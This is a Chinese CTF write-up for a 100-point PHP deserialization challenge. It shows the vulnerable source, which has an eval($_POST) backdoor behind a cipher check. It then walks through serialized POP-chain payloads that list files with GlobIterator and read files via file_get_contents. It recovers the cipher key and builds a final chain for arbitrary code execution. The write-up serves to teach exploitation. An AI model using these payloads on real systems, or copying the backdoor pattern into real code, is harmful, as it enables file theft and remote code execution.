这题虽然只有100的分值,但是我觉得它涉及到的东西还蛮多的,写个随笔记录一下。
<?php # 当前目录中有一个txt文件哦 error_reporting(0); show_source(__FILE__); include("check.php"); class EeE{ public $text; public $eeee; public function __wakeup(){ if ($this->text == "aaaa"){ echo lcfirst($this->text); } } public function __get($kk){ echo "$kk,eeeeeeeeeeeee"; } public function __clone(){ $a = new cycycycy; $a -> aaa(); } } class cycycycy{ public $a; private $b; public function aaa(){ $get = $_GET['get']; $get = cipher($get); if($get === "p8vfuv8g8v8py"){ eval($_POST["eval"]); } } public function __invoke(){ $a_a = $this -> a; echo "\$a_a\$"; } } class gBoBg{ public $name; public $file; public $coos; private $eeee="-_-"; public function __toString(){ if(isset($this->name)){ $a = new $this->coos($this->file); echo $a; }else if(!isset($this -> file)){ return $this->coos->name; }else{ $aa = $this->coos; $bb = $this->file; return $aa(); } } } class w_wuw_w{ public $aaa; public $key; public $file; public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } } public function __destruct(){ echo $this->aaa; } public function __invoke(){ $this -> aaa = clone new EeE; } } $_ip = $_SERVER["HTTP_AAAAAA"]; unserialize($_ip);
看完题目其实整个POP链还是很清晰的,入口可以是w_wuw_w的__destruct()
函数,也可以是EeE的__wakeup()
函数,最终目的是调用cycycycy类的aaa函数,但是aaa函数中有个cipher函数我们并不清楚,应该是check.php内引入的。
题干提示说当前目录下有个txt文件,这个也需要我们去获取一下。
这里需要利用PHP原生类GlobInterator
来获取当前文件夹下的txt文件的名字,利用的点在:
$a = new $this->coos($this->file); echo $a;
只需要将$this->coos
设置为GlobInterator
,而$this->file
设置为/*.txt
,即可通过echo
将文件名打印出来。
所以传入的payload为:
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"a";s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}
得到h1nt.txt
关于PHP原生类的更多消息,可以查看文章:CTF中PHP原生类的使用
接着就是读取h1nt.txt的文件内容了。通过:
public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } }
可以读取文件内容,将其放置于$this->key
内,只是这边没有输出$this-key
的值,但是在析构函数中,出现了:
public function __destruct(){ echo $this->aaa; }
所以,可以在传入类的时候将$this->aaa
的值赋值为&$this->key
,即key的地址,然后在echo的时候就可以将文件内容进行输出。payload为:
O:7:"w_wuw_w":3:{s:3:"aaa";s:1:" ";s:3:"key";R:2;s:4:"file";s:10:"./h1nt.txt";}
得到:
根据提示可以知道,这个应该是一个凯撒加密,移动的位数在2-4之间,需进行爆破即可得到p8vfuv8g8v8py
的明文。
仔细观察下列函数:
public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } }
对$this-key
的值进行了一波正则匹配,但是最后读取的却是$this->file
(可以说这个检测其实是毫无作用的),所以这边我们也可以不去猜测txt文件的名字,直接用这部分的逻辑漏洞去读取check.php
即可。payload如下:
O:7:"w_wuw_w":3:{s:3:"aaa";s:1:" ";s:3:"key";R:2;s:4:"file";s:11:"./check.php";}
得到:
check.php的源码为:
<?php function cipher($str) { if(strlen($str)>10000){ exit(-1); } $charset = "qwertyuiopasdfghjklzxcvbnm123456789"; $shift = 4; $shifted = ""; for ($i = 0; $i < strlen($str); $i++) { $char = $str[$i]; $pos = strpos($charset, $char); if ($pos !== false) { $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset); $shifted .= $charset[$new_pos]; } else { $shifted .= $char; } } return $shifted; }
嗯!所以再根据这个脚本写一个解密的脚本就好了。
<?php function decipher($str) { $charset = "qwertyuiopasdfghjklzxcvbnm123456789"; $shift = 4; $original = ""; for ($i = 0; $i < strlen($str); $i++) { $char = $str[$i]; $pos = strpos($charset, $char); if ($pos !== false) { $new_pos = ($pos + $shift) % strlen($charset); $original .= $charset[$new_pos]; } else { $original .= $char; } } return $original; } echo decipher("p8vfuv8g8v8py");
得到了明文为:fe1ka1ele1efp
剩下来就是直接构造链子开始打,payload如下:
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:3:"xxx";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";N;}}s:3:"key";N;s:4:"file";N;}
传入?get=fe1ka1ele1efp
,POST内传入eval=要执行的命令
即可。